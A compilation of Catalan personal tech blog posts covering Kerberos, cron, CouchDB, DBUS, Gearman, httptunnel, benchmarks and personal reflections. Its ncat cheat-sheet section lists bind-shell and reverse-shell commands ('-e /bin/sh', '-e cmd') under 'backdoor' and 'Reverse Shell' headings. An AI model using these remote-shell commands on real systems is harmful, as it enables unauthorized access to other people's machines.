Notes

Estàndard RFC1510 per l’autenticació, destaquen les funcionalitats de:

• autenticació mutua
• temps de connexió ràpids (session tickets)
• delegació (autenticació recursiva entre serveis)

Esquemes

Simplifiació del funcionament

Hi ha 6 tipus de missatges (5 obligatoris + 1 opcional), agrupats en 3 su-protocols:

• AS (Authentication Service) – es produeix durant el procés de “login” i li permet al client poder demanar un ticket per accedir als recursos (TGT)
  • KRB_AS_REP
    • Client principal name.
    • Timestamp.
    • Kerberos target principle name (realm).
    • Requested lifetime.
  • KRB_AS_REP
    • La primera part va xifrada usant la clau d’usuari, conté:
      • User-TGS key (generated by the KDC).
      • Kerberos target principle name (realm).
      • Ticket lifetime.
    • La segona part és el TGT, va xifrat usant la clau TGS generada pel KDC només els servidor la poden obrir, malgrat això s’enmagatzema en el client i conté:
      • Client principal name.
      • Ticket lifetime.
      • KDC timestamp.
      • User-TGS key (which is not retained by the KDC, but its presence within the TGT means it is available when required).
      • Client IP address (taken from the initial KRB_AS_REQ).
• TGS (Ticket Granting Service) – a través del TGT el client poy demanar un “service ticket” (ST) necessari per poder accedir a un servei. El TGT té un funcionament semblant al d’un password (expira amb el temps i no requereix password), el ST obtingut seria semblant a un visat d’accés a un país.
  • KRB_TGS_REQ
    • Service principal name.
    • Requested lifetime.
    • TGT (still encrypted with the TGS key).
    • Authenticator (encrypted with the user-TGS key and containing a client timestamp) – The authenticator guarantees that the request originated from the client.
  • KRB_TGS_REP
    • La primera part va xifrada amb la clau TGS de l’usuari (el KDC l’extreu del TGT) i conté:
      • Service principal name.
      • Ticket lifetime.
      • User service key (encrypted with a user-TGS session key, generated by the KDC).
    • Part dos, és el “service ticket” (ST). Xifrat usant la clau del servei TGS. Conté:
    • • User service key (encrypted with a user-TGS session key, generated by the KDC).
      • Client principal name.
      • Ticket lifetime.
      • KDC timestamp.
      • Client IP address.
• Client/Server (AP) Exchange – per accedir a un servei el client envia al servei un KRB_AP_REQ amb el ST obtingut. El servei pot o no contestar la petició, a vegades, el servei directament comença la seva sessió.
  • KRB_AP_REQ
    • ST xifrat amb la clau TGS del servei
    • Authenticator – encrypted with the user service key
  • KRB_AP_REP

Característiques

• ‘Realm‘ es defineix com un domini d’aministració
• Tots els servidors i participants en les transaccions pertanyen al mateix ‘Realm’
• Tots els missatges viatgen xifrats usant un codi simètric (no-PKI)
• La “user key” es genera a partir del “logon password”
• La “host key” es genera quan el “host” s’uneix al ‘Realm’
• Si un client vol accedir a un servei i no ha fet el TGS pot enviar el TGT en el “AP exchange” i el servei farà la gestió amb el KDC de forma transparent.
• Important recordar que:
• només el KDC pot llegir el TGT
• només el servei pot llegir el ST

Glossari d’acrònims

• KDC: Key Distribution Center
• AS: Authentication Service
• TGS: Ticket Granting Service
• SS: Service Server

Referències:

• Kerberos for the Busy Admin
• Kerberos authentication explained
• Understanding Kerberos Double Hop

Error coneguts

• Degut a un error el podcast 2×05 no exiteix. Sento l’error!

• crontab, té diversos fitxers de configuració a /etc/cron.d la sintaxis d’aquests és la mateixa que /etc/crontab
• els fitxers que hi ha a /etc/cron.d sovint pertanyen a serveis que necessiten executar ordres periódicament
• al llençar munin des de dintre d’aquest directori es generaben correus d’error del crontab, queixant-se de problemes amb les locales
• dins el fitxer /etc/cron.d/munin podem declarar les locales i així no se’ns tornarà a donar el problema
• si volem sobrecarregar on s’han d’enviar els correu d’error de cron en un dels fitxers que hi ha /etc/cron.d podem declarar la variable MAILTO=user@domain.tld dins el propi fitxer

Set _revs_limit of a particular database:

curl -X PUT -d "1500" http://localhost:5984/test/_revs_limit
#=> {"ok":true}

Read _revs_limit of a particular database:

curl -X GET http://localhost:5984/test/_revs_limit
#=> 1500

informació original de: accessing database specific options.

Agraiments: gràcies @marcos

CIF es va dissenyar per convertir de forma senzilla els estàndards PAL o NTSC. CIF defineix una seqüència de video amb una resolució de 352×288 com PAL, amb un framerate de 30000/1001 (uns 29.97fps) frames com NTSC, amb un codi de color YCbCr 4:2:0.

Les resolucions xCIF no són quadrades, tenen un ratio de ~1.222:1. O sigui, que una televisió analògica té un ratió de 1.2:1 segons defineix l’estàndard de sistemes de 525 linies (CCIR 601). En les pantalles d’ordinador o de televisió digital es treballa amb blocs de pixels quadrats, o sigui, que les trames xCIF ha de ser re-escalades horitzontalment un ~109% per aconseguir un ratio de 4:3, o sigui, el que equivaldria a 384×288 pixels quadrats.

Les mides d’imatges CIF han estat especialment escollides per ser multiples del que s’anomenen macroblocs (corresponent a 16×16pixels). Per exemple, una imatge CIF de mida 352×288 correspon a 22×18 macroblocs.

Informació extreta de la Wikipedia i de diversos forums dispersos per internet.

Com deia a l’anterior article, el dilluns i dimarts vaig ser per la zona de Castelló per assistir amb el Benja a les jornades de Symfony organitzades per la Universitat de Jaume I de Castelló. Doncs bé, comentar que les jornades em van sorprendre molt positivament, realment hi havia gent amb força o fins hi tot molt nivell en la materia i això sempre és d’agraïr en aquest tipus d’events.

El programa de les xerrades era molt interessant i tret d’algunes xerrades puntuals totes eren del màxim interés per mi. Com molts esteu cansats de sentir jo no sóc programador, però en aquesta vida he picat força codi i concretament amb Symfony vaig començar-ho a fer en la versió 0.6.4, o sigui, molt abans que fos estable. Però de la mà de l’Oriol M. varem fer un projecte amb uns quants megues de codi font per fer recàrregues de mòbil a una cadena de botigues de fotografia, un dels codis dels que estic més orgullós.

Tornant a les jornades, volia destacar el meu ranking particular de ponents, es tracta d’un petit TOP 3 que des de la meva més extrema modèstia preten classificar en base a uns criteris totalment subjectius les persones que van saber transmetre els valors més importants que jo busco en una xerrada:

• Javier Eguíluz (Symfony 2) – a destacar la gran capacitat d’enfocar la conferència cap als items més importants a resaltar, sense oblidar els detalls rellevants en cada moment, tot això sense perdre un fil conductor clar en tota la xarrada. També s’ha de dir que el tema li donava molt de joc per fer embadalir a l’audiència; però va saber com treure-li el suc i tenir-nos a tots ben enganxats malgrat estar molt cansats després de dos dies de conferències sense parar, aquesta va ser l’última conferència.
• José Antonio Pío (Vistas y sfForm) – cal deixar-ho clar, una màquina té tota la pinta de ser un programador com la copa d’un pi i els típics defectes i virtuts de ser un professor (ho és?). Malgrat sembla que és molt bo i sap explicar-se la densitat del seu contingut i complexitat del mateix, feien complex seguir-lo tota l’estona ja que exigia molt a la concentració. Cosa gens senzilla en una marató de conferències com el que ens ocupa.
• Jordi Llonch (Plugins) – aquest representant de les nostres terres diria que també ha fet una molt bona feina explicant-nos la potència dels plug-ins de Symfony, potser a nivell personal no m’ha aportat tan com les altres dues xerrades però la qualitat de les transparències, l’oratòria i la bona organització dels continguts diria que l’han convertit en una referència de com fer les coses, sota el meu punt de vista, és clar.

Comentar que la resta de ponències també han estat molt bé, obviament algunes amb més qualitat que d’altres i amb temes que per mi tenien un major interés que altres. Però en conjunt dono una nota altíssima al contingut de les xerrades. Pel que fa a la organització i les instal·lacions un 9, més que res per donar-los marge a millorar. Impresionant el complexe universitari, res a envejar a d’altres que he vist.

Abans de tancar aquest article tan poc ortodoxe per descriure les jornades comentar en forma de punts algunes notes mentals que me n’he emportat:

• Hauria de posar-me amb Doctrine, però al coneixer Propel mai trobo el moment.
• Mirar-me a fons referències sobre integració continua amb PHP i eines de gestió de projectes
• Dona gust adonar-se que moltes pràctiques que has adoptat unilateralment també es comparteixen en la comunitat: temes d’sfForm, vistes, pugins, web escalables, cloud computing, etc.
• Pel que fa al tema de la web escalable, m’agradaria agafar els ’slides’ del ponent Asier Marqués i fer el meu propi screencast del tema, comparteixo quasi tot el que va dir a la conferència però em quedo amb les ganes d’aportar-hi el meu granet de sorra.
• Mirar-me el tema d’ESI que ja l’havia oblidat.
• MongoDB, com dic cada dia… una passada! i si a sobre es soporta a Doctrine això ja no té preu. Interessant el tema de Mondongo.
• i l’estrella de tot plegat!!!! Symofny2… estic impacient!!!!

UPDATE: presentacions de les jornades.

Part 1:

Part 2:

Per cert, aquesta part del video és només de la gent de Vinaròs, els altres videos que m’han comentat que m’havien fet altres persones encara no els he vist, cosa que ja té delicte

Receptor de senyals DBUS, rep la senyal amb format ’string’ i la mostra:

#!/usr/bin/env python
#--encoding: UTF-8--
"""
entra en un loop esperant senyals emeses a:
  dbus_interface = cat.oriolrius.prova
  object_path = "/cat/oriolrius/prova/senyal"
amb nom de senyal: 'estat'
quan es rep la senyal la mostrem
"""
import gobject
import dbus
import dbus.mainloop.glib

def mostra(m):
    print m

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = dbus.SessionBus()
bus.add_signal_receiver(
                 mostra,
                 path="/cat/oriolrius/prova/senyal",
                 dbus_interface="cat.oriolrius.prova",
                 signal_name = "estat"
                )
loop = gobject.MainLoop()
loop.run()

Emisor de senyals DBUS, envia una senyal de tipus ’string’ amb el contingut ‘hola’:

#!/usr/bin/env python
#--encoding: UTF-8--
"""
Emet una senyal a dbus, al bus 'session' amb destí:
  dbus_interface = cat.oriolrius.prova
  object_path = "/cat/oriolrius/prova/senyal"
amb nom de senyal: 'estat'
"""
import gobject
import dbus
from dbus.service import signal,Object
import dbus.mainloop.glib

class EmetSenyal(Object):
    def __init__(self, conn, object_path='/'):
        Object.__init__(self, conn, object_path)

    @signal('cat.oriolrius.prova')
    def estat(self,m):
        global loop
        print("senyal emesa: %s" % m)
        gobject.timeout_add(2000, loop.quit)

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
loop = gobject.MainLoop()
bus = dbus.SessionBus()
o = EmetSenyal(bus,object_path='/cat/oriolrius/prova/senyal')
o.estat('hola')
loop.run()

Usant el ‘dbus-monitor’ es pot veure la traça del missatge:

signal sender=:1.634 -> dest=(null destination) serial=2 path=/cat/oriolrius/prova/senyal; interface=cat.oriolrius.prova; member=estat
   string "hola"

Les funcionalitats (copy-paste de la web):

• is supported by every major Python web framework.
• is fully documented and is supported by an active user community.
• can output/generate any text-based format.
• compiles templates into optimized, yet readable, Python code.
• blends the power and flexibility of Python with a simple template language that non-programmers can understand.
• gives template authors full access to any Python data structure, module, function, object, or method in their templates. Meanwhile, it provides a way for administrators to selectively restrict access to Python when needed.
• makes code reuse easy by providing an object-oriented interface to templates that is accessible from Python code or other Cheetah templates. One template can subclass another and selectively reimplement sections of it. Cheetah templates can be subclasses of any Python class and vice-versa.
• provides a simple, yet powerful, caching mechanism that can dramatically improve the performance of a dynamic website.
• encourages clean separation of content, graphic design, and program code. This leads to highly modular, flexible, and reusable site architectures, shorter development time, and HTML and program code that is easier to understand and maintain. It is particularly well suited for team efforts.
• can be used to generate static html via its command-line tool.

a qui va orientat (copy-paste de la web):

• for programmers to create reusable components and functions that are accessible and understandable to designers.
• for designers to mark out placeholders for content and dynamic components in their templates.
• for designers to soft-code aspects of their design that are either repeated in several places or are subject to change.
• for designers to reuse and extend existing templates and thus minimize duplication of effort and code.
• and, of course, for content writers to use the templates that designers have created.

Aquest és el meu entorn de treball a dia d’avui, de fet, he volgut mostrar-lo perquè volia provar de fer una petita integració entre jquery-notes i wordpress. Ja que jo diria que malgrat aquesta funcionalitat és típica de flickr quan s’exporten imatges des d’aquest sistema al nostre blog les notes de la imatge es perden. Així doncs, he pensat que era una bona idea tenir el meu propi sistema de posar notes a les imatges.
La cosa ha estat senzilla només:

• he creat un directori al servidor del blog on he posat el jquery-notes, jquery-ui i jquery he posat els permisos corresponents als directoris.
• he modificat les headers del wordpress perquè incloguin el codi de jquery-notes, jquery-ui i jquery. A més del CSS propi del jquery-notes i un petit script per declarar el comportament de jquery sobre la classe “jquery-note”.
• després al crear un article amb la imatge i afegir-li la classe “jquery-note” automàticament s’afegeixen les notes que li he posat a la imatge.
• per posar-li notes a les imatges calen els paràmetres corresponents al script afegit a les headers del wordpress.

UPDATE: casualment avui al blog: freelance switch han pubilcat un article amb diversos workspaces.

Amb httptunnel es poden establir connexions TCP sobre un enllaç HTTP, és a dir, disposem de dues eines el htc i el hts, escencialment el que fa és:

• hts: publica un port simulant un servidor HTTP al conectar-hi amb htc ens enviarà cap al HOST:PORT configurats
• htc: es conecta a hts usant HTTP i simulant un client HTTP normal (ffx, crhome, ie, etc) però en realitat transporta paquets TCP en el payload de les queries, l’usuari pot conectar-se a un port local que es publica i que permet accedir al HOST:PORT al que ha conectat hts de forma transparent

Per fer una prova de concepte jo el que he fet és conectar el hts amb un servidor VNC, al costat del htc he connectat un client VNC i he accedit al VNC de forma totalment transparent, a més amb un sniffer he comprovat que els paquets que passeben per la xarxa eren paquets HTTP estàndards, i així era. Tan senzill com això:

server:
./hts -w -F 127.0.0.1:5900 1080

client:
./htc -F 2300 server:1080
vinagre localhost:2300

A més també suporta la possibilitat de fer-ho a través d’un proxy, això si aquest només esta suportat si és sense autenticació o amb autenticació bàsica. Així doncs, a partir d’això em venen al cap algunes millores interessants:

• suportar autenticació Digest i NTLM.
• permetre accés al tunel via stdin/stdout (així ho podriem usar amb SSH com a ProxyCommand).
• poder connectar-se a un segon proxy en l’extrem remot, és a dir, hts no té l’enllaç pre-establert.
• suportar SSL, així ens estalbiariem haver d’usar stunnel per simular HTTPs.

Introducció

Gearman és el que comunment anomenem un servidor de tasques, o sigui, que quan el nostre codi ha de demanar una tasca, funcionalitat, treball, o quelcom similar és molt interessant de cara a:

• l’escalavilitat: podem tenir tants servidors i/o processos consumint tasques com ens interessi.
• paral·lelisme: les tasques es poden consumir paral·lelament.
• balanceix de càrrega: podem fer map/reduce sobre les tasques i enviar-les als servidors que ens interessis per distribuir la càrrega.
• independència entre lleguatges: el codi que demana la tasca i el que consumeix la tasca poden ser totalment diferents, les llibreries que té Gearman són: PHP, Pearl, Ruby, C, Python, etc.
• interficie HTTP: a més disposa d’una interficie client HTTP que ens permetra injectar tasques desde llenguatges no suportats des de les llibreries de Gearman.

usar un servidor d’aquest tipus, ja que a més de permetrens demanar tasques síncrones, també podem demanar-li tasques asíncrones. O sigui, que no només no sabem qui ens esta fent la feina limitant-nos a rebre’n el resultat sinó que també podem demanar que aquesta feina es faci quan es pugui.

Per si tot això no fos poc encara hi ha més avantatges:

• Open Source
• Programat en C
• Petit i molt ràpid
• Suporta diversos backends: RAM, SQLite, Memcached, Tokyo Cabinet, etc.

C:\client>ncat google.com 80
GET / HTTP/1.1

• client telnet:

C:\client>ncat -t 192.168.1.1 23

• simula un servidor TCP/HTTP molt simple:

C:\server>ncat -l 127.0.0.1 80 < stuff.txt
C:\client>ncat localhost 80

C:\server>ncat -l --keep-open 80 < stuff.txt
C:\client>ncat localhost 80

• servidor UDP:

C:\server>ncat -l 74 --udp
C:\client>ncat --udp localhost 74 < stuff.txt

• es pot especificar el port i IP origen a usar:

C:\client>ncat www.irongeek.com 80 -p 80 -s 127.0.0.1
C:\client>ncat www.irongeek.com 80 -p 80 -s 192.168.1.1

• interconnecta clients, ‘proxy-tcp’

C:\server>ncat -l 74
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74

C:\server>ncat -l 74 --broker
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74

• servidor de ‘chat’ molt simple

C:\server>ncat -l 74 --chat
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74

• client TCP+SSL:

C:\client>ncat gmail.google.com 443 --ssl
GET / HTTP/1.1

• transmissió de fitxers via TCP+SSL:

C:\server>ncat.exe -l --ssl 74 --send-only < ncat.exe
C:\client>ncat localhost 74 --ssl > out2.exe
(ends self)

C:\client>ncat --ssl -vvv -l > newfile
C:\server>ncat -v --send-only --ssl localhost < ncat.exe
(Good for getting around NAT)

• proxy molt simple:

C:\ncat>ncat -l 8080 --proxy-type http --proxy-auth adc:test --ssl

• shell amb backdoor:
• Linux:

ncat -l 23 -e /bin/sh
C:\server>ncat 192.168.159.128 23

• Windows:

C:\server>ncat -l 23 -e cmd
ncat 192.168.159.129 23

• Reverse Shell (aka: Shovel Shell)

C:\server>ncat -l 74
C:\client>ncat 192.168.159.128 74 -e cmd

• netcat relay

C:\ncat>ncat -l localhost 80 --sh-exec "ncat google.com 80 -o text.txt -x hex.txt"

La qüestió és que em cal intentar assegurar el bon funcionament d’un sistema operatiu a cada arrencada i havia pensat que potser això podia ser una bona idea, bé ja aniré explicant els resultats del experiments quan toquin. Ara només volia avançar-vos algunes de les funcionalitats i millores que suposa aufs respecte unionfs.

• permet unir diferents directoris en un directori virtual nou, a cada directori se l’anomenarà una ‘branch’
• a cada ‘branch’ li podem especificar una ‘flag’ diferent: ‘readonly’, ‘readwrite’ i ‘whiteout-able’
• gràcies a al nou directori virtual podem simular la capacitat de modificar, afegir i borrar elements en un directori de només lectura
• suporta la capacitat d’afegir/treure ‘branch’ d’un directori virtual en calent

La llista de funcionalitats és força més llarga però el més important és que el nou aufs és molt més ràpid i confiable que el unionfs.

Per si no coneixeu les eines:

• gearman: servidor de tasques
• couchdb: sistema de bases de dades no relacional
• redis: sistema de caché similar a memcached, però molt millor sota el meu punt de vista

Sistema sobre el que s’han fet les proves:

• HP ML110 G5 – Xeon 2GHz – 4GB RAM – HD via NFS
  • Rendiment del disc: Timing buffered disk reads:   26 MB in  3.00 seconds =   8.66 MB/sec
• SO Hypervisor: VMWare ESXi 3.5
• Servidor virtual: 1 CPU 2GHz i 512Mb RAM
• SO Guest: Ubuntu 8.04 Hardy

Resultats de les proves:

• client de gearman, fa 5.000 requests al servidor:
  • gearman backend: default, cua no persistent
    • cmd: gearmand -vvv -u root
    • temps: ~32s – rendiment: ~156req/s
  • gearman backend: sqlite3, cua persistent
    • cmd: gearmand -vvv -u root –libsqlite3-db=/tmp/gearman_sqlite3.cache -q libsqlite3
    • temps: ~11m10s – rendiment: ~0.8req/s
  • gearman backend: tokyo cabinet btree, cua persistent
    • cmd: gearmand -q libtokyocabinet –libtokyocabinet-file=/tmp/gearmand.tcb -vvv -u root
    • temps: ~2m3s – rendiment: ~40req/s
  • gearman backend: tokyo cabinet hash, cua persistent
    • cmd: gearmand -q libtokyocabinet –libtokyocabinet-file=/tmp/gearmand.tch -vvv -u root
    • temps: ~2m5s – rendiment: ~40req/s
  • gearman backend: tokyo cabinet RAM, cua no persistent
    • cmd: gearmand -q libtokyocabinet –libtokyocabinet-file=”*” -vvv -u root
    • temps: ~17s – rendiment: ~294req/s
• insertem 5.000 documents a couchdb:
  • temps: ~14s – rendiment: ~357req/s
• redis fem 10.000 operacions de tipus:
  • SET: temps: ~0.35s – rendiment: ~28.375req/s
  • GET: temps: ~0.59s – rendiment: ~16.920req/s
  • PING: temps: ~0.33s – rendiment: ~30.471req/s

Doncs bé, com sempre passa en aquests dies no m’he aixecat massa diferent que cap altre, tot i que he de reconeixer que el “Petit Chardonnay de Jean Leon” del sopar ha fet estragos aquesta nit. Afegir a més la recomanació del restaurant Lledoners a Sant Quintí de Mediona ja hi havia anat a dreginar uns quants cops amb el Francesc però ahir el vaig poder provar en el seu màxim esplendor i ens va agradar molt. A més com a anècdota comentar que m’hi vaig trobar el Joan Olvieres que havia estat tutor meu a 3er de BUP a més de delegat de l’equip d’hoquei patins on erem companys amb el seu fill, per fer-ho més recargolat compartia taula amb l’ex-alcalde de Torrelavit entre d’altres cares conegudes.
Pel que fa als regals destacar la raqueta de tenis que tan desitjava que m’arribes que com no podia ser d’altre forma m’ha regalat el meu “amoriuo”, una Babolat Pure Drive.

Per continuar el dia amb el bon peu que l’he començat ara toca una bona i emocionant cursa de F1 al circuit de casa, a Montmeló. Això si des del sofà de casa, que de moment fer-ho des del circuit continua sent una assignatura pendent, però tot arribarà. De fet, des de que vaig ser a la final de la Copa Davis d’aquest any diria que ja tot és possible.

Que no se m’oblidi comentar-ho també, el meu autoregal aquest any ha estat una tauleta gràfica, exactament una Wacom Bamboo Pen & Touch.

Bàsicament les funcions que li vull donar són:

• fer esquemes a mà alçada, sense haver d’invertir tan de temps passant-los a net amb Visio, per exemple.
• deixar de fer podcasts per passar a fer screencasts al blog, o sigui, anar fent petits esquemes o dibuixos sobre els temes que toco als podcast, ja que pel que m’han comentat es fan difícils de seguir sense un esquema.
• per temes de feina sovint mantic llargues converses telefòniques, ja sigui, via VoIP, per fixe o mòbil; les temàtiques sovint són molt tècniques i difícils de traslladar només amb la veu espero que compartint l’escriptori i fent esquemes això pugui ser més senzill.

Així doncs, el pretenc és millorar les meves eines de comunicació telemàtica recolzant-me amb aquesta nova forma d’interactuar amb l’ordinador. Per si tot això fos poc, ja fa dies que estic donant voltes a com reordenar el meu workspace ja que no acabo d’estar del tot còmode i crec que no acabo de treure-li tot el partit que deuria, així doncs li segueixo donant voltes.

Quan tens una experiència d’aquest tipus tot canvia, però a vegades com avui et preguntes si ho fa prou. Malgrat això el que em continua dient que vaig per bon camí és la sensació de felicitat que porto dins el cor i al veure aquestes fotografies la pell es continua posant de gallina:

Aquest any he decidit celebrar ambdós aniversaris en la intimitat, és a dir, a diferència de la resta d’anys intentaré que siguin unes jornades de reflexió tranquila sense les grans festes amb els amics que he fet els darrers anys.

A més demà passat faré 33 anys que no només és l’edat en que va morir el meu pare. O sigui, que per mi té un significat especial aquesta edat i per tant espero poder a partir d’ara poder disfrutar de la vida més que mai per intentar compensar el que el destí li va arrencar al meu pare.

Bé doncs, gràcies a tots per ser on sou i per ser com sou… jo continuo al peu del canó com sempre i amb la moral de ferro.

formspring

• URL: http://formspring.me
• Descripció: servei molt simple, que permet que la gent ens pregunti coses, nosaltres podem contestar i queda un registre de les preguntes i respostes. Això ens permet elaborar un FAQ sense gairebé cap esforç, a més de contestar les preguntes que realment interessen a la gent i no només les que se’ns acudeixen a nosaltres. Si per casualitat em voleu preguntar alguna cosa: http://www.formspring.me/oriolrius

doodle

• URL: http://doodle.com
• Descripció: alguna vegada ja l’havia usat però mai me l’havia mirat amb calma, és una eina genial per quan has de prendre una decisió entre un grup de gent. La decisió pot ser sobre una pregnuta o sobre una data. A més també es poden organitzar votacions per un tema, o crear llistes perquè la gent s’afegeixi i els usuaris es pronunciïn sobre la qüestió. Alguns exemples: quina data quedem per sopar amb la gent de l’escola? quin disseny ús agrada més? qui vindrà a esquiar aquest cap de setmana?

uwish

• URL: http://uwi.sh
• Descripció: le descobert per casualitat llegint un blog, que ni recordo quin era. El servei permet tenir la nostre ‘wish list‘ publicada perquè tothom sapigue què desitgem tenir. Malgrat ser una versió molt inicial, la socialització de la idea la trobo molt interessant i útil. Realment una idea i implementació boníssimes. Si voleu veure la meva wish list: http://uwi.sh/oriolrius. Trànquils no aspiro a que ningú hem regali res, però m’agrada tenir referenciades les coses que m’agradaria comprar-me.

• Llençar de forma automàtica tests sobre els commits que es fan al codi (buildbot)
• Tenir un repositori dels resultats dels tests fàcil de consultar (web) (buildbot)
• Suportar tests sobre rendiment (profiling) automàtics (guppy-pe + resource)
• Poder comprovar quina és l’evolució d’aquests tests de rendiment amb una eina visual (codespeed)

Per tal d’aconseguir aquests objectius s’ha usat:

• buildbot: que permet automatitzar l’entorn de compilació i testeix dels commits que es van fent al repositori. (esta programat en python). Per entendre millor buildbot, ús recomano llegir l’apartat: system architecure del seu manual.
• codespeed: és una eina feta amb python+django+mysql a través d’una interficie HTTP+JSON pot injectar informació a la BBDD i a través de la GUI ens mostra:
  • overview: a través d’una taula mostra les tendències dels resultats dels benchmark associats a un executable.
  • timeline: mostra en una gràfica l’evolució dels resultats arxivats sobre un benchmark concret fets sobre un host.
• guppy-pe: ens permet extreure dades referents als recursos de sistema que esta consumint una part del codi: classe, funció, variable, etc.
• resource: és un módul de python que permet saber (resource.getrusage(PID)) quins recursos esta consumint un PID en un moment donat.

Com que la documentació que he fet per la feina l’he hagut de filtrar per no revelar informació interna, la documentació que publico esta en format OpenOffice i PDF perquè sigui senzill per tothom llegir-la i modificar-la si vol.

• Paquet .tar.gz, conté:
  • fitxer de configuració buildbot, master.cfg
  • codi d’exemple per provar l’entorn, buildbot-test
  • codi del tobami-codespeed modificat perquè sigui més generalista que la versió original
  • integracion-continua-instalacion.odt: document amb notes sobre els procediments que he seguit per la instal·lació de tot plegat.
  • integracion-continua-manual.odt: manual d’usuari de tot plegat. (també la versió en pdf)
• integracion-continua-manual.pdf: enllaço de forma directa aquest manual per si hi voleu donar un cop d’ull per saber si ús interessa el tema.

Enllaços relacionats:

• buildbot
• codespeed
• guppy-pe
• resource

Cookbook d’ordres per instal·lar un python 2.6.5 a més del 2.4.3 que ja portava el host:

cd /var/tmp
wget http://python.org/ftp/python/2.6.5/Python-2.6.5.tar.bz2
tar xvfj Python-2.6.5.tar.bz2
cd Python-2.6.5
./configure --prefix=/usr
make
make altinstall

si ara fem:

# python -V
Python 2.4.3
# python2.4 -V
Python 2.4.3
# python2.6 -V
Python 2.6.5

Funcionalitats requerides:

• long polling: l’objectiu és rebre els canvis d’una base de dades de couchdb en temps real sense haver d’anar preguntant si hi ha canvis, sinó que aquest s’envien cada vegada que es donen de forma automàtica.
• A través de jQuery el que vull és actualitzar una pàgina web de forma asíncrona, de forma que els nous resultats que vagin entrant a la BBDD es vagin mostrant en temps real a la pantalla.
• JSONP, és una tècnica que ens permet rebre la sortida JSON de CouchDB i després cridar una funció de callback de JavaScript. El problema és que la funció jQuery.getJSON() original de jQuery té algunes mancances que gràcies a el plugin jQuery-JSONP podem solucionar, aquestes són: (copy/paste de la web del plugin)
  • error recovery in case of network failure or ill-formed JSON responses,
  • precise control over callback naming and how it is transmitted in the URL,
  • multiple requests with the same callback name running concurrently,
  • two caching mechanisms (browser-based and page based),
  • the possibility to manually abort the request just like any other AJAX request,
  • a timeout mechanism.
• CouchDB és una base de dades NoSQL basada en documents que és capaç d’emetre una senyal (trigger) cada vegada que el contingut d’una base de dades canvia. Per més informació sobre el tema es pot consultar a: CouchDB: The Definitive Guide al capítol Change Notifications.
• Cross-domain: quan es llença una petició XmlHttpRequest (la base del AJAX) amb JavaScript tenim la limitació de només poder-ho fer sobre el domini que serveix la pàgina web, cap altre port ni subdomini. Obviament tampoc un altre host. Per saltar-se aquesta restricción és quan cal recorrer a JSONP.

La prova de concepte ha estat crear una base de dades anomenada: notifcations on es guarden documents que són notificacions a mostrar a la pàgina web.

Després he programat la següent web:

<html>
<head>
<script type="text/javascript" src="jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="jquery.jsonp-1.1.4.js"></script>
<script type="text/javascript">
function longpoll(since) {
    var url = "http://IP_COUCHDB_SERVER:5984/notifications/_changes?include_docs=true&feed=longpoll&since="+since+"&callback=?";
    console.log("since="+since);
    $.jsonp({
        "url":url,
        "success":function(data) {
            //console.log(data);
            since=data.last_seq;
            try {
                console.log(data.results[0].doc.msg);
            } catch(err) {
                console.log("error:"+err);
            };
            longpoll(since);
        },
        "error":function(msg) {
            //console.log(msg);
            console.log('capturat error');
        }
    });
};

var url = "http://IP_COUCHDB_SERVER:5984/notifications?callback=?";
$.jsonp({
    "url":url,
    "success":function(data) {
        //console.log(data);
        longpoll(data.update_seq);
    },
    "error":function(msg) {
        console.log(msg);
    }
});
</script>
</head>
<body>
cos
</body>
</html>

El codi és força simple de seguir, primer de tot es carreguen les llibreries: jQuery 1.4.2 i jquery-jsonp 1.1.4, ambdues necessaries per cridar el métode $.jsonp que és el que realment farà la feina.

A continuació es declara la funció longpoll que té com a paràmetre el númeral que indica quin ha estat el últim canvi a la base de dades. Aquest s’utiliza per construir la petició que es fa a CouchDB:

var url = "http://IP_COUCHDB_SERVER:5984/notifications/_changes?include_docs=true&feed=longpoll&since="+since+"&callback=?";

La URL el que fa és demanar el següent:

• els canvis (_changes)
• incloent els documents que han canviat (include_docs=true)
• tracta la petició com a long polling (feed=longpoll)
• mostra els canvis des de la versió X (since=X)
• quan enviis els canvis fes una crida a la funció de callback definida aquí (callback=?)
  • ‘?’ és substituit per jquery-jsonp per la funció anomenada ‘C’, aquest nom es pot canviar usant paràmetres en la declaració de $.jsonp() que ve a continuació

Els missatges de l’estil ‘console.log()‘ són per tenir un seguiment del que va passant a la consola de javascript del navegador.

$.jsonp() té força paràmetres possibles definits a la API, però en aquesta prova de concepte només uso ‘url’, ’success’ i ‘error’. El primer esta clar que és, els altres dos són les funcions a cridar quan l’acció va bé o malament respectivament. Dins de la funció posem el codi referent a les accions que volem fer, per exemple, actualitzar la pàgina actual. Com que això només és una prova de concepte el que faig és mostrar missatges per consola i llestos. La part més important és fixar-se que quan la cosa ha anat bé es fa una crida a ella mateix de forma que la cosa no acabi mai. De fet quan hi ha un error es podria també fer una crida a si mateix perquè no pares de provar de llençar la petició un i altre cop, però el que he fet per provar eś que es notifiqui a la consola de javascript i prou.

Fora de la funció longpoll el que es fa és una petició JSONP per saber quina és l’últim número de seqüència de la base de dades, paràmetre necessari per entrar per primera vegada a la funció recursiva de longpoll.

Conclusions

Pot semblar tot una mica enravassat però diria que he simplificat el problema moltíssim, ja que fins ara havia estat teoritzant moltíssim sobre el tema. Fins que ahir i abans d’ahir vaig haver de posar-me a provar-ho a la pràctica per saber exactament com es podia implementar. Sota el meu punt de vista ha quedat tot força net i entenedor.

Pels que sou programadors de webs habitualment haureu tingut necessitats semblants així doncs espero que ús pugui ser tan útil com a mi, de fet, fa unes setmanes que estic treballant amb Tiny Core Linux montant un Quiet PC sobre una DOM de 512MB per usar-la de sistema de monitorització de les meves xarxes i les d’alguns clients, espero que d’aquí uns mesos pugui donar-vos més informació del projecte.